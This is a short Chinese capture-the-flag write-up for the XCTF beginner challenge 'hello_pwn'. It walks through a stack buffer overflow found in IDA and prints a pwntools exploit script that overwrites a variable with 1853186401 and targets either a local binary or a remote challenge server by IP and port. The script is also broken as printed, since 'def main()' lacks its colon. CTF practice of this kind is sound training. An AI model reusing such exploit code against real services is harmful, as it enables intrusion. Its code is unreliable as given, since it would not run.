攻防世界新手入门hello_pwn

首先，我们先看一下文件。然后看一下它的保护。

没有什么防护。运行一下试试：

放入IDA中查看，

需要我们在unk_601068上填充数据，然后将dword_60106C地址中的内容覆盖为1853186401.

编写Python代码：

from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 1

def main()
	if content == 1:
		day3 = process("hello_pwn")
	else:
		day3 =remote("111.200.241.244",49744)
	payload = b'a' * (0x6c - 0x68) + p64(1853186401)
	day3.recvuntil("lets get helloworld for bof\n")
	day3.sendline(payload)
	day3.interactive()

main()

process和remote连接本地程序，也就是常说的打本地和打远程。
加b设为比特流，意为传送数据，p64打包，将数据打包成一个字节流。

得到Flag。